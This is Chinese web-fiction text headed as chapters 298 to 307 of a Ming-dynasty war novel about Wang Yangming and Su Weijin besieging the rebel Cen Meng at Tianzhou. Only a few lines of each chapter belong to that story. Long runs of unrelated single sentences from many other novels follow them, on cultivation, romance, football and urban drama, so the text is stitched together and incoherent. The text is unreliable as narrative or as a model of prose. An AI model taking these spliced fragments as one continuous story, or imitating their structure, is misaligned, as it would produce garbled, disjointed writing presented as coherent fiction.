官军的强大,王阳明的老辣,还有那个诡计多端的苏惟瑾……都让他感到前所未有的无力。
内无粮草(围城日久,存粮见底),
外无援兵(那些墙头草的部落靠不住),
军心涣散……他似乎已经看到了城破身死的结局。
不!绝不能坐以待毙!
岑猛猛地停下脚步,眼中闪过一丝疯狂的光芒。
他还有最后的倚仗!
那神秘的黑苗大巫,那能让人悍不畏死的“勇武膏”!
还有……云南的木氏土司!
他们之前就提供过支持,现在自己陷入绝境,他们不能见死不救!
只要有了更多的“神药”,请动那些更厉害的“黑巫武士”,未必不能翻盘!
想到这里,他仿佛抓住了最后一根救命稻草。
立刻唤来他最信任、也是身手最好的族弟岑志。
“阿志!”
岑猛抓
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住岑志的肩膀,力气大得让岑志微微皱眉。
“现在,哥只能靠你了!
你带上府库里最好的金子,还有我珍藏的那几件前朝古董,
再挑二十个绝对忠心的好手,
趁今夜夜色最深的时候,从西南角那条猎道摸出去!”
他取出一封早已写好的密信,塞到岑志怀里,压低声音,语气急促:
“去云南!去找木氏土司!
把这封信和礼物亲手交给他们当家的!
就说我岑猛恳求他们,再支援一批‘勇武膏’,数量越多越好!
还有,务必请他们派一队‘黑巫武士’前来助战!
只要他们肯出手,击退官军之后,
思恩、田州乃至整个广西的利益,我愿与他们共享!”
岑志深知此行千难万险,城外官军围得铁桶一般,云南那边也吉凶未卜。
但他看着兄长那近乎绝望中透出的疯狂期盼,重重点头:
“大哥放心!阿志就是拼了这条命,
也一定把信送到,把援兵请回来!”
是夜,月黑风高。
田州城西南角一处看似陡峭无路的崖壁下,
一条被藤蔓遮掩的狭窄猎道悄然开启。
岑志带着二十名精心挑选的死士,
背负着重金和希望,如同鬼魅般潜入沉沉的夜色,向着云南方向潜行而去。
他们并不知道,就在他们自以为神不知鬼不觉地离开后不久,
官军外围游弋的夜不收,便将几只惊起的夜枭和崖下细微的碎石滚动声,迅速报回了中军大帐。
王阳明与苏惟瑾相视一笑。
王阳明捻须道:
“玉衡,你这‘网开一面’之策,果然奏效了。
困兽犹斗,终是要去找他那主子求援了。”
苏惟瑾目光沉静,望向西南方向的茫茫夜色,嘴角微扬:
“督师运筹帷幄,晚辈不过是顺水推舟。
鱼儿既已迫不及待要游回巢穴,我们正好顺藤摸瓜。
只是不知,周大山他们此刻,是否已经张好了网,备好了钩?”
岑志携重金密信突围求援,直奔云南!
这条主动送上门来的“鱼”,能否带领周大山顺利找到幕后黑手的巢穴?
木氏土司会答应岑猛的请求吗?
那神秘的“黑巫武士”又是何等存在?
而周大山在云南的调查,是否会与岑志的求援队伍不期而遇?
一场围绕云南幕后黑手的明暗较量,
即将在滇桂边境的崇山峻岭中激烈展开!
第299章 借力打力巧设局 偷梁换柱定边
岑志带着那二十名精挑细选出来的死士,
前脚刚像地老鼠一样钻进西南角的猎道,
自以为神不知鬼不觉,后脚这消息就摆在了苏惟瑾的案头。
他安插在叛军内部那枚不起眼的钉子,
这次立了大功,连岑猛许诺给木氏土司的具体利益分成,都打探得一清二楚。
“共享广西?
听了解释后,景元倒也没有怀疑离央的话,因为他最初看到离央时,离央的状态的确不对。
“……”怎么她突然觉得自家儿子聪明得一点都不可爱,而是可怕呢?
肉包看着叶尘梦,像是受了多大委屈似的朝着叶尘梦飞奔了过去。
墨离等其他长老,共有五人在现场出现,其余四名长老不在门中,已经外出很长时间了,见鲍长老追去,他们立时一个个身形一闪,随后追了上去。
魏仁武又拿出手机拨通了电话,但是此时魏仁武的表情却更加的轻松愉悦。
拜别了哥嫂,凯丝琳挽着崔军的手往外走,走了两步转过了头,看着连海平已经背过身去,抬手拭擦眼睛,知道哥是多么的舍不得她远嫁,两颗晶莹的泪珠从脸颊瞬间滚落。
浙的不能再近了,那此人举赧了刀。看样年,明显是拇官谁。都要一块砍成肉泥的。
主编顾晓平日里的工作态度十分严谨。一身黑白套裙显得颇有几分严肃。
喻可馨正想睁开眼睛说‘我喜欢你’,可是没想到看到的竟然是围着浴巾的辛子涵。
殷戈止揉了揉眉心,起身去关了门,然后褪了外袍,重新躺下休息。
汤姆一家甚至会每个月拿出十枚银币贡献给城市中的教堂,汤姆一个月一个金币,也就是合集一百银币,十分之一的收入都给了教堂,这已经是很虔诚的表现了。
龙尘抬眸一看,竟瞧见天空不知什么时候,飞来了一头神骏非凡的五彩大鸟。
长剑瞬间贯穿了顾南的脖子,而拂尘重重击在他的额头,强烈的冲击力让空间都要破碎……唯独顾南纹丝不动。
沈临风目光死死的盯着离他越来越近的亮光,此刻这微弱的光芒竟变成了他唯一的希望。
因为刚刚松懈下来,他那原本挺直的腰背,就不由自主的弯了下来,微微朝后靠去。
一方面是他自己修炼需要用到,而另外一方面则是为了到达北京后,手上能有资源与其他异能者做交易。
长空星宇切换扫视视角,对三人的表现不置可否,雷锋好榜样的慬慎坐视,我是大老黑的冷静伺机,英雄出少年的霸气张扬,自己倒是颇欣赏言希成的胆气豪意。
黑衣人显然没把他放在眼里,脑袋转向一旁,摆出一副爱搭不理的样子。
“得得得,说你胖你还喘上了,走,进城吧,你们两人的伤还要好好的修养几天。”听闻和尚的话,陆涛毫不客气的鄙夷道,随即,陆涛亲自将和尚道士两人带进了万城之中疗伤。
和齐茂雪客气了几句,随即齐茂雪又亲自介绍了齐三爷给林云认识,并且告诉齐三爷,一路上林云若是有什么要求,都要满足,去往北冥家之后,更是要听从林云的指挥。
唐淼气愤的说了一句,并着姬若离一起坐了下来,她嘴上虽然十分冷酷的模样,手上却变出了个橘子,塞到了柔儿的手中。
这天一城里的姑娘算不上漂亮,其实说实在的倒还没有他们身边的这两个姑娘好看,所以木晨是因为不满意才会离开的?
第300章 一剂假药破坚城 满营哀嚎奏凯
雀儿坳这地方,真是鬼见了都发愁。
两壁悬崖像是被巨斧劈开,
只留一线天光,涧底乱石嶙峋,
一条瘦溪穿行其间,终年不见日头,阴湿得能拧出水来。
沈夏顿时眯起眼睛笑了起来,她才不知道这个五岁的孩子究竟在想什么呢,也不知道念念说这一番话的目的。
人的一生很长,能够做的事情也有很多,可是,她都不要,她就想抓住钱,有了钱就是有了一切。
邵媚倩一声不屑的冷哼,就将视线给转到了窗外,可是那个沈婉卉已经激动的全身发抖,如果不是因为在车上,加上旁边有邵媚倩看着,估摸着这会儿已经直接扑上去又亲又抱的了。
果不其然,某爷一把飞下上做,揪住青松的后衣领,将青松拖了出去,接着,青松痛苦的惨叫声传来。
也只在这个时候邵乐才能体会到那个他已经看不上的磨盘有多大的商用价值。
东哥在这条道上混了很长的时间了,处理起这些事情来也算是头头道道的。
吴芷柔好茶,只要有机会,就喜欢亲手泡茶。没想到,就因为如此,竟然得了一手的泡茶之术。
“安,我需要十万两银子,可以借给我吗?并且你要当我的模特”云冰心里急切地希望南宫兆安同意。
他在毒气爆发之后,全力爆发之下,从毒气中逃了出来,但是此时他的肌肤都变成了淡青色,已然中毒。
他的额头也沁出了汗珠,蒙蒙的一层,啄吻着她干燥的唇,吮吸她的脖颈,等着她为他的盛开,为他的绽放。
回到房间里,紫凌天从系统中兑换了一具万年冰棺,这具冰棺,可让尸体万年不变,把冷寒霜放了进去。
这婆娘可也是身怀异能呢,而且是那种七十二变的异能,任何人只要被她看了一眼,就能将他的音容笑貌复制个十成十。
“拿着呗,反正他们家大业大,也没有叫我们把老的还回去。”王若晨倒不介意占便宜。
摔了一次,又被云飞踩了许久的姬公子早已不复之前的雍容华贵,虽然地上打扫得很赶紧,云飞的鞋底子上也没有泥巴,但姬八方还是感觉浑身的难受。
临淄的一处偏僻的民房内,冉飞正在给手下布置任务,院子里有四五个守卫严密监视附近的一切。
就在楚骄河话落之际,两个身材魁梧,脸戴墨镜,一身黑色西装的壮汉走了进来。
他现在虽是七重顶峰,但因为武徒境只晋升到圆满,根基与江天相比差得太远,又没有九龙神体那种逆天的体质,武者境每晋升一重,不过增涨一千五百斤力道,即使一直用肉身武技苦苦打熬,肉身力道也不过十四五虎。
想到这里达头可汗不敢耽搁,准备立刻给正在漠北率军的处罗叶护传去急报,然而达头可汗终究距离辽东太远,还不等他给处罗叶护送去急报,漠北的战事就已经开始了。
“别动。”赵志搞不清楚状况,就想先观察观察,此时他倒是没想杀冉飞,若真的是青蛇帮的或者陈大富的人肯定不止一个,到时候就用他当人质,再趁机逃走。
三井调查官把美宝山指了出来,这里虽然没什么异常,可是实际上,GUARD在地底发现了一只沉睡中的怪兽,好在这家伙一直在睡觉,目前也没有醒来的打算,所以GUARD就只是标记了一下,没有关注。
第301章 捷报震京华 暗流袭新贵
广西思恩城被一剂“加料大补膏”轻松拿下的消息,
还在驿道上快马加鞭往京城赶呢,
可这大明朝的京城里,却正为上个月另一场大捷
——浔州大捷与那玄乎其玄的“神猴献瑞”——闹得沸反盈天。
金銮殿上,嘉靖皇帝难得地露出了笑脸。
他穿着那身象征性的道袍常服,高坐龙椅,
和胖子分开后,我找了附近的一间客流量最大的宾馆,开了个房间。。。
“叮”的一声只见普通的刀具直接是整整齐齐的被削成了两截,而干将则是一丁点损伤都没有。
同时,队内强手如云,前锋线上有卡努特和法比亚诺两大高手,还有善于抢点的“兔子”萨维奥拉,每一个球员都是威胁。
算是远距离,定点瞬移的bug能力。之前之所以不用,就是为了最后搜索漏网之鱼,出其不意的。
回想起昨晚上自己的大胆和放纵,居然给人用嘴巴活动了,白洁蜷着腿,眼泪不知不觉地落了下来。
唯一看清楚的大概就只有玄冰城主了。不过他也没有管,毕竟怎么看都是孟婆来接人了。
“那你要怎么才信?”殷绍龙格外耐心的开口,好像只要她肯说,他就会去做。
斯科尔斯提前复出,可以参加比赛,算是一剂强心剂。但他赛前采访的时候主动示弱,明显没体会到弗格森的求胜心。
“你说呢?几位,是自杀,还是我一个一个的送你们上路?”方孝微微抬起头。
还没等他有更多的反应,他的身体嗖的一下就飞了出去,嘭的一声,落在十几米之外一个垃圾堆里面。
‘棒’子国留学生先前就被魏教授的强大气场压得大气不敢出,此刻的情景跟先前一样,大家都不敢说话了。
那是一种让人无法解释的现象,就连他们进入到凌雪的房间里,身躯都会不由自主的漂浮在半空之中,失去自由活动能力,只有把凌雪叫醒,这样的状态才会解除。
就好像你有一个衣服,放在那里不穿,你难道能忍受别人往它上面泼粪水?
跪在地上的曾蓉蓉吓傻眼了,王燕妮的男朋友竟然是个如此狠辣的人?
有虚空挪移鼎中的先天灵气供应,丹田中的光影越来越紧实,并在缓缓压缩。
巧儿的寒冰灵体,在东方的修仙体系里面来说的话,准确讲就是‘冰灵根’。
远远的,我已经看到了那条石道里面的情况。只见有几个黑影,正跟可嫣她们来回的纠缠。看架势,可嫣她们虽然占了一点上风,但是想将对方彻底的消灭,可似乎也没那么简单。
如果不是神机道,还有魏猛的父亲魏征,墨门也不至于落到这种地步。
“既然一阶都这么强了,那之后的岂不是更厉害了?”想到这,苏珺很难想象开启五阶异能锁后,会有怎样的变化。
牟逸晨的心猛地抽了一下,全身的血液就像被抽干了一样,杰森发现了他的异样,忙将手上的贺礼交个管家。
听到亚岱尔的怒斥,在场的学员再无一人敢反抗,尽管亚岱尔看起来并不严肃,但院长的威严没有谁会想去挑战。
非儿脸上变色,身子发抖,贡扎老爹和纳吉大叔忍无可忍,大声呵斥。史晓峰听不懂狄丹语,也知道猛占必然说了极难听的话,他只待非儿发作,便要先出手对付猛占。
第302章 巨兽冲阵惊天地 冷眼洞虚
并不是所有人,都如他身边的那些叔叔伯伯一们一样,会爱护她,保护她。
“沁儿,你到底想做什么?”殷敖还不知道发生了什么事,从闭关的地方出来看到殷沁,面色一下子就沉了下去,显然很是不满。
三十分钟的车程,姜九笙用了二十分钟就到了,是一家高档夜总会,坐落在不繁华的地段,隐秘性很好。
谢荡正不爽得想揍人,虽然打不过时瑾,但想揍他的洪荒之力根本压制不住。
“怎么回事?”穆霖问莫轻尘,他上山的时候迎面碰上了莫轻尘下来,就跟着莫轻尘一起走了。
然后黑铁锁链的另外一端,也是照着同样的方法,紧紧的扣在一个牢固的黑铁铁圈上。这样锁链的两端就被固定在了山岭缺口的两边。
“怎么了?他是不是吃了什么虎狼之药?还是我宁扬聪明,我阿姐一直说我笨!”当初那个扮成尸体的汉子淫笑了一声,然后露出一副“我早已经看穿一切”的得意神情。
索菲娅刚才之所以猛地吻徐青,是因为艾伦今晚登门拜访对她的触动很大。
“年轻人就是冲动,早就说了,打打杀杀多不好,就是不听!”中年大叔一手托着下巴,笑吟吟的,非常猥琐。
云锦简单的将自己的看法和见解给大家分析了一下,听完他的分析,一下子就连云川也陷入了沉思,再看九卿的眼神便少了一份轻视,多了一丝戒备。
这些人之前都见过苏绾心,也没什么惊讶的,苏绾心笑着跟他们打了个招呼,就不打扰他们谈正事,带着漾漾去一旁找东西吃了。
“下一步就是分钱然后各回各家!根本没有带动经济发展,也没有海市蜃楼完整的计划发展,有的就是这些人高价购买的廉价房!”刘凯一针见血的挑着眉毛说道。
反正如果换成是她自己的话,桑朵朵觉得自己肯定是会舍不得的。
“本大妖这就去灭凤家,你放心,区区凤家,本大妖绝对手到擒来。”一想到可以离开叶家,青狐就忍不住激动万分。
正所谓年少轻狂,风光正盛,很多人都围在他的身边刻意讨好巴结,朱华南不想杨帆会将朱二姑也误会成为那样的阿谀之人。
箱里有隐私物品,傻妞吩咐罗魁转身,认真翻查了一下,发现并没有少什么东西。
夏擎天的身体,砸碎沿途桌椅,重重落地之后,滚出好远,撞到墙上之后,才堪堪止住。
天上的星光惨淡,昏暗,冰冷的白光冷却着世间的温柔。陆枫闭上眼,不想看到如此的凄厉星寒。
因为学院教师们基本上也都是魔兽化形而来,对于教学也是手到擒来,但是有一点休伯特始终不满意。
时间来到十月,奥达利亚总理霍齐亚在大选中胜出,将会继续执政,霍齐亚是敌视巴新王国的代表人物,他继续担任总理,对王国来说并不是什么好事,但现在的王国今非昔比,奥达利亚想战,张易枫也不怕。
距离第二天的时间还早,云舒左右无事,就在自己的住处离开始修炼起来。
“切,这还用么?就这个垃圾,能进前一百就不错了。”另一个跟班儿不屑道。
当然,袋鼠也没安好心,怕岛国攻入他们境内,这才派兵迎战,阻敌于国门之外,当时巴新还没建国,有的土著在岛国忽悠下,甚至帮着岛国打米奥联军,要说巴新人对新几内亚战争的贡献,真没有多少。
“马腾,你这只只懂得四处乱窜的死老鼠,拿命来!”董卓胯下的战马极为彪壮,配合他那异常过人的体格,以及手中大到夸张的神剑巨阙,当真有着所向披靡的气势。
他一边说着,转头朝着前方望去,便见眼前数十里之内,都是这副模样,连一棵凡草都看不见,哪里有什么九阴琉璃果的影子?
这就是进步,毕竟在此之前他还只能玩一个平板电脑,超过三个更是吃力,像现在这样随意抓取十几斤的石头,恐怕要自我练习几天时间才行。
穆山看着张让那双细长的桃花眼中,杀机数次闪现,却又数次藏匿,一颗心砰砰直跳的厉害。
可她偏偏非要和杨辰作对,打算找回属于自己涅槃期的颜面,却偏偏落的这个下场。
杨辰多聪明了,这时也知道了闻风的意思,虽说闻风的出发点不怎么样。但至少对方救了自己的性命,这就足够了。
“你们对付优帕,我去找别的鬼。”百福说完往里走去,跟在她后面的是已经好转的红袖。
齐秋川大感震惊,万万没有想到,齐阿瞒居然想也不想就答应了。
糟了!他猛地刹住脚步,做好战斗姿势,然而,敌人似乎并不想纠缠下去,飞速爬上巨鸟的背,准备扬长而去。
就这样,几分钟之后,夜北辰来到了十万里之外的世界,这里漂浮着几只异族,气息都达到了仙帝二重境界以上。
“……莫非你们跟他一个意思?都是为了抢夺喋血灵芝而来?”看着任德武等人的表情,伍庆深吸一口气,对着几人沉声问道。
十六架攻城车被缓缓推动,足有人高的巨轮,朝着城墙不断滚进。
夜北辰现在也没有新的签到的地方了,如果要去签到,只能去很恐怖的势力签到了,可是不是这个势力的人,估计还没有进去,就被人赶出来了,所以,暂时只能回去无道宗签到了。
想到之前在网上做的摘抄,越看越觉得眼熟的林宁,索性直接问道。
辛迪·多普勒也是,蓝星人类最好的朋友、伟大的和平主义者,没能见上他最后一面。
稍稍带点夸张的说,真正的剑术,应该是以气动剑为基础的,如果不能以气动剑,那么蛮力,反而就成为了一种变向的负担,毕竟,剑的特点,是锋利而轻巧,剑术的最上乘,就是以轻巧的姿态,去把锋利最大化。
第303章 智析巨兽弱 巧铸破象兵
田州城外的明军大营,气氛比起前日象兵冲阵时,少了几分慌乱,却多了几分凝重。
中军大帐内,王阳明端坐上首,面色平静如水,下首几位将领却是眉头紧锁,尤其是昨日前锋受挫的那位参将,脸上更是火辣辣的。
“督师,”
那参将瓮声瓮气地开口,带着几分不甘。
“和之前猜测的一样,是一个万人骑!”曹洪跪坐下来点头说道。
凤凰巢因为只有反应堆作为动力,在被干涉领域的能量场压制后直接摔在了月球表面,好在当初制造的时候没有头偷工减料,结实的机体加上不高的坠落速度,凤凰巢安然无恙。
而外公和妈妈车祸去世后,爸爸已经是公司的实际掌权者了,她能倚靠的也只有他了。
江上寒起身,冲二人一拜:“她与我祖父同辈,在音律上很不凡,不在四邪音之下。
噬魂魔犬所化的黑衣青年,这时候突然冷冷的说道,事到如今,再让天命出来看来已经不可能了,反倒不如直接对其强行下手。
西天佛祖聪慧绝伦,历经的劫难虽然比不上玉帝,神通却远超于他。
黑暗中的声音突然沉寂,过了很久,才冷冷道:“我知道你迟早一定会来的。“门又紧紧关上,但灯光却仍未燃起。
三虫蛊叟、三花毒姥、封蝗等人见此,都是身剑合一,紧跟着离开了。
可诸葛明为人机警,而且可能气数未尽,没有立刻毙命,只是身受重伤。
从表面看,依旧美得惊心动魄,但是身体机能不知道有没有遭到损伤。
“咦!”苏毅一下子愣住了,之前他还奇怪阳歌干嘛让他去别的地方,没想到这丫已经发现那块空地的不对劲了。
当然,不宣传不代表传不出去,大家看过剧场后自然也会传遍州城,不过,那时他已能脱身出来,就是叶刺史明白过来也已经晚了。
这一次会面,那意外的箭雨,又损失了多位掌管呼兰军权的族老。
“当然是高兴我被抢走了舰长副理位置,还被开除出舰队了,”刘彩儿脱口而出道。
“项行你这个狗杂碎,你不得好死,等我有机会出去了,你就死定了。”韩烈怒骂道。
“这些人看起来可以的,要不然会被韩烈选中,现在都给他们升下官。”毛统帅说道。
高峰美滋美滋的想着,笑意更浓,不知道的都以为他对客人友好呢。
“嗨!已经起飞了,预计十分钟到达黑龙山附近的山头。”参谋长对着躺在床上的肌谷廉介说道。
现如今的黑暗网络世界,本就已经临近了夕阳,再加上这三层的楼道内透光度很差,使得这个地方整体显得阴暗而压抑。
不过她倒也没停止应酬,仍然保持了正常的应对。人家来邀请,也总是高高兴兴去赴约。黄昶对此颇为意外,说我这里都解决了,老妈你还跑去凑什么热闹呢?
“孙策狗贼,屠杀我满门!”陈兴嘶吼道,眸子里,闪过一抹仇恨的火焰。
飞龙神色越是难看几分。没想到在这种情况之下,古天鹏还能如此轻松的将他的攻击闪躲开来。
她趴在燕追胸前,洗沐后柔顺密实的秀妖娆铺陈开来,那双颊似莲,不着脂粉的素肤如凝脂似的。
因为容涂英的入仕,瓜分了他很大一部份的权限,逼迫这位孜然一身的同平章事不得不被迫倒向了燕追一方,与容涂英争斗。
第304章火牛惊雷破象阵智勇双全定乾
三日光阴,弹指即过。
田州城外的旷野上,气氛凝重得能拧出水来。
明军大营鸦雀无声,唯有旌旗在晨风中猎猎作响,一股肃杀之气弥漫开来。
虽然白天被陈凯的净化技能净化了几分钟,却没有彻底破坏那些种子的寄生。
要说搞阴谋诡计什么的他在行,但做买卖他就没辙了,要不然皇帝还能缺钱使?
“伯母,您放心,我平时也提过石锁,打过木桩,不怕累的。”霍元甲说道。他接过茶碗,一口气喝了,脸在迎光的方向直发亮,汗珠晶晶莹莹的。
眼见平儿如今有了那么点王熙凤的影子,薛宝钗莫名有些害怕起来。
皆是蓝绿色的冰晶,在黄红色的光芒照耀,泛着着惨绿色的光芒。
确实,阿鲤此刻已经完全变了一副模样,之前我只道她温婉内敛,没想到的是,她为毕相而战时是这般模样。我盯着她粗壮的手臂看了看,如此强壮的手,可以捏死两个我。
不多时,从吕家深处突然冲出许多吕家之人。他们纷纷在吕家祖宅开始巡逻,还有许多修为高深的吕家人飞到半空之中。
就是那种生怕用力大点,她就会哭出来的那种病西施,让人忍不住想要多关怀,多呵护,恨不得抱在怀里安慰。
但此时叶莺的声音却从里面传了出来,石霄急忙来到通风管口。他现在已经能看到密室之中的情况。
哪怕平儿真去求情,人张安刚放话没有第三条路能出府,真答应下来,岂不是打自己嘴巴子?
而且是经历过风雨洗礼的老人,才有可能沉凝出,如此深邃且沧桑的风情。
阎宁无奈地看着郝建,和他比起来,自己当初跟着方士天学道,可强上不少。
看着勒妈挂了电话,白蔡蔡知道接下来只有等了。这回,她倒真希望自己看错了,勒老爷子对于整个勒家太重要了,只是,她心里又明白的,勒老爷子这回怕是再劫难逃,毕竟老爷子今年已经八十多岁了。
若是以龙族真身的气血,这种瘴气毒气,他根本不会感觉到任何不适。
“好,我马上来。”勒强说着挂了电话,又跟病房时的众人打了声招呼,就匆匆的出去了。
谁能想到这位王爷会如此狠辣呀?说杀就杀,不留半分缓冲空隙。让观者措手不及,同时也让那死者死得莫名其妙。
随即便觉腰身被搂的更紧,只听到勒强低低的笑声,那声音听得人心底痒痒的,随后便感觉勒强在她面前放大,那唇先是落在自己的额上,然后是脸颊,鼻尖,最后贴着白蔡蔡的唇,就那么斯磨着。
这雪山中的万物生灵都要匍匐在它的脚下瑟瑟发抖,就算那些常年生活在这雪山中的稀禽古兽也无法来到这里,这里是真真正正的生命禁区。
如今不过凌晨,没什么事需要连夜回去处理的,刑正不过是想给彭军一个单独的空间和时间罢了,阎宁等人也跟着刑正走了出去,一一与彭军告别。
虽然她现在还不清楚那两个男人是谁,但也知道他们一定是很大很大的官,不然那个雷队长也不会这么的害怕。
突然,一个雪球突然砸在一名亲兵的脸上,强劲的力道竟然直接将他打翻在地。
第305章 纸鸢携降语 灵鼬乱敌营
“贱人,你还想要引诱我。我跟你说,不可能了,本少爷嫌你脏。太脏。”上官绝爱的脸色都变了,脸上尽是对修罗红的不屑,若不是当初,她这般的风骚,许是自己还不会要了她的身体。
“夫人,那样的话,少爷不是太危险了吗?”奶娘担心的只是上官绝爱。
“我要你在我的身下求我。别的地方求我。我不相信你。”说完东方寂把萱萱再次压在了自己的身下。
“不是,王爷,根本不是这么回事!”常飞激动的摆手,却又再次痛的龇牙咧嘴。
肉球大眼一闪,一个纵身跃上云枫肩膀,毛绒的身子在云枫脸颊一侧狂拱,云枫笑的开心,空间容器中的传音玉佩突然闪了起来,云枫两眼一亮,当下将玉牌拿出。
许是走了这么远的路,来到这里求医,也不一定能求到自己想要的效果。
口中的糕点还没咀嚼完毕,她又迫不及待的想要尝试更多,一阵秋风扫落叶的架势,那样子活脱像是被饿了几百年。
“这个你不用担心,我现在已经完全掌握了毁灭此类穿越者的方法,所以,如果其他国家一意孤行的话,我不介意将他们辛辛苦苦培养起来的间谍一举歼灭。”吴明冷哼了一声,无比自信地说道。
“啧啧,现在的同学真是,切磋输了就恼羞成怒,叫别人帮手不说,居然完全没有了风度开始骂人。”白子墨一副沉痛的样子,似乎真的是为梁伟林的不争而痛心。
她想的是没错,可她忽略了一件事:脚上还锁着锁链,所以她才跳下床跑了两步,就重重摔倒在木地板上,膝盖和手肘处猛地巨痛,她叫都叫不出来了。
琉空冥这人向来傲娇的很,从来都是他耍人,第一次被人耍了,顿时一张帅脸臭臭的。
她装出受伤的样子无非就是为了欺骗楚皇和楚寰罢了,如今楚寰已经来看她了,而且对她的话深信不疑,因此,她也没有必要继续躺在床上演戏了。
看到绝倾殇遇事冷静,沉着,临危不乱,行事知进退,识大体,老祖宗颇为满意的点了点头,对绝倾殇有几分赞赏。
“不是,我是代表玄灵,来与冥界结成联盟,共同对抗神魔两族的。”紫辰浅笑着答。
紫辰踏脚进入炼狱,铺面而来的熊熊火焰仿佛一只饿极的猎虎,要将紫辰吞拆入腹。紫辰的目光很淡然,就算看着那些火焰跃跃欲试的摸样,脸色也没有丝毫的变化。
“因为,欧尼好像也喜欢浩然。”允儿也点破道,她没有想到,她会和队长说出这句话,本以为第一次会向水晶说的。
虽然陆华浓并知道母亲要让什么办法对付唐玄烨,但是她是相信母亲的。
随着日子澈流逝,紫辰愈发的想念起夜雪澈来,原来思念是这样,但是对方一直没有动静,紫辰的心,微微有些烦躁。
“好球!”这对于电视机前的球迷来说仅仅是开胃菜,搓了搓手而已,姜浩然的骚肯定不止如此。
其实,这里还有一个更诡异的现象,如果按照钻头的直径计算,产生两立方矿渣之后,钻头进入石壁的长度至少要达到八米到十米。现在,钻机位置根本没有发生移动,钻头推进的极限长度,绝对应该不超过五米才对。
但药材都进桃源了,这一路走来,身上沾染上的药材气味该挥发差不多了吧?
“老爷子,我们别在这里说了,去二狗叔家聊吧,一会儿晚上我动手作晚饭,您老正好捧个场,尝尝我的手艺。”刘晓宇邀请道。
这时雷斯安博里的右手再轻轻的向中间微微一抓一捏,这块面积足有数百平方公里陆地竟有大半被雷斯安博里这虚空一抓一捏的巨力之下化为满天破碎的石块飞上了半空。
市委大院,市长张秉林的家中。刚刚做好晚饭的张秉林听到客厅内电话的铃声。他一边摘掉围裙,一边坐在沙上接起了电话。
苏伦始终跟我默契配合,同样保持沉默。要想让谷野这样的老狐狸吐出心里话,最好的方式就是保持不闻不问的沉默,让他摸不清我们的底牌。
想必就是傻子也不会说出这样的话来吧。若真是有毒的话,那么全国至少有数百万人喝过冰饮料,怎么其他数百万人都没事,就他们这么点人就出事了呢?
“王哥,给你主意,从哪里下手比较合适?”看了一圈也拿不定主意,只好求助于猪圈外面的王越,希望他能够给一个好主意。
“这么麻烦?那可不是一天两天就能够完成的任务了!”郭绍明皱了皱眉头说道。
“你到底是谁?居然让朱少说话?”黄荣有些疯狂,心里很是不甘。华服青年最后那句:“这事不要闹大,低调处理最好,当然,如果你不想受这口气,那么这事和皇城会所没关系,记得!”这指示有些模糊。
他居然是北域海港的都督,不过是海军都督,手中有上万名海军士兵,不过本人的实力并不强,而且贪生怕死。
水泥厂的诱惑力并没有那么大,完全比不过一个十年后才能变现的银镜技术。
此时穿越者们已经推进到城市中心,相比外围区域,这里被破坏的更加严重,宽阔的街道更是被垃圾完全封堵。
也要辛亏呼延灼下令及时,李林的另外七千步兵也只是刚刚介入战斗,尚且没有来得及扩大战果。
第306章 神猴再显圣,变脸慑敌
田州城头,守军们攥着偷偷藏起的劝降传单,掌心渗出的冷汗将墨字晕开一片。
有人盯着水囊发呆,仿似里头游动着看不见的毒虫;
嘴上说着。华韶彦心里打定主意,回头定要将关于郁子都行踪的消息送出去。
“别吵,让我想想,”兰夫人扶着额头冷静了一番,她在京师倒是有些门路,只是远水救不了近火。要求人,只能求眼前人。她没忘了月娘手上一枚丹顶红,迟则生变。
然而那些人偏偏就像是脚下长了钉子,谁也没有继续上前的意思了。
“城中大户人家的下人,至少有七成都是在我手上买去的。”筷子婆斩钉截铁说道。
这是冬日的下午,太阳高照,日头暖暖的,天却凉凉的,马车精致实用,并不华丽,在官道上行走着,笃笃马蹄声催人眠。
吴茱儿顿时跳脚,她哪里睡的香。不对,他有叫她起床吗,怎么她没有听见?
金蛙道长大惊失色,手上的长剑连忙挥舞,朝着白衣帝尊砍了过去,然而他砍到的当然只是一些残像罢了。
吮吸的力度渐渐加大,舌尖在她牙根和齿贝上划过,大力撩拨着,试图撬开她的牙关。
稍后,孙林父得到卫献公进入卫国国都,重新登位的消息,紧急派遣使者前往晋国求救。求援信只有一片竹简,上写:卫国内乱复位。
师修还想坚持,一向喜欢冲撞赵武的师偃这会儿站在了赵武的立场上,他狠狠一拉师修的袖子,一句话不说转身就走——看情况,这两人嘴上不同意,但只要事情做的遮人耳目,两位也不会反对。
但是现在的情况不同了,在创造出了这几十个鲁班七号之后,他们就变得强大无比,即便在神力消耗一空的时候。
茁壮成长后瓜熟蒂落的感觉再次发生,他的掌中,多了一个东西。
“舟兄,怎么了?!”林伏听到舟轩的声音,也顾不上去追究唐橙那敷衍的捧场声。
谁也想不到,今天来了一位新的佛门师兄弟,居然傻不愣登地想买众人唾弃的“火尖枪缨”。
在没有选择面前,饥饿的人们,有人选择了交钱等待,也有人因为价格太高选择继续挨饿。
“他不死永远都是一个定时炸弹,让我没有一天安稳日子,他死了你死了,顾家才算真的属于我。”顾光明拿着水果刀轻轻摇晃着。
无边的混沌煞风,没有任何阻拦,像是海浪一般,以始麒麟为中心,朝着周围散去。
转瞬之间,兴师问罪而来的所有人,全都烟消云散,没有掀起一丝波澜。
不单单是自己的族人心中没有希望,就连已经踏入准圣初期境界的自己,对于龙族压境而来,也感受不到任何希望。
原本林锦歌是打算今天就走的,可她储物器中的灵石已经不多了。
叶开道:“前天,就是有人运棺材来的那一天。“宋老板道:“我怎么没看见那天有五个这样的陌生人到镇上来?“。
说话的这人身子粗壮,长相很有特点,脑袋竟然是三角形的,如果是倒三角形的不足为奇,但他是正三角形,头顶尖尖,两腮往外鼓鼓着,跟个胖头鱼似的。
第307章 城门洞开,枭雄授首
田州城头,那“神猴变脸”的戏码还在持续发酵。
恐慌如同瘟疫般在守军中疯狂蔓延,什么军纪,什么命令,在“天神震怒”的恐惧面前都成了屁。
有人跪地磕头如捣蒜,有人丢了兵器就往城下跑,更有甚者,精神已然崩溃,
刚开始,云白以为和清和应该是走不下去,自己都不看和清和的爱情,所以并不想和家里面的人说,其次是清和的年龄比自己大了五六岁,爸妈肯定是有意见的。
“你也给我闭嘴,是不是林家人,族谱上面写的是清清楚楚,你想争什么?是不是想我赶紧死,然后将遗产分一分?”林老爷子厉声说。
这次寇罗戴尔位面入侵,像斯特劳普这样最有潜力的种子自然不会放过成长的机会。
皇甫音儿本想一同前往,可是听到冷雨的话后,她明白后者根本就不想带着自己去冒险,又或者是不想让自己知道一些秘密。
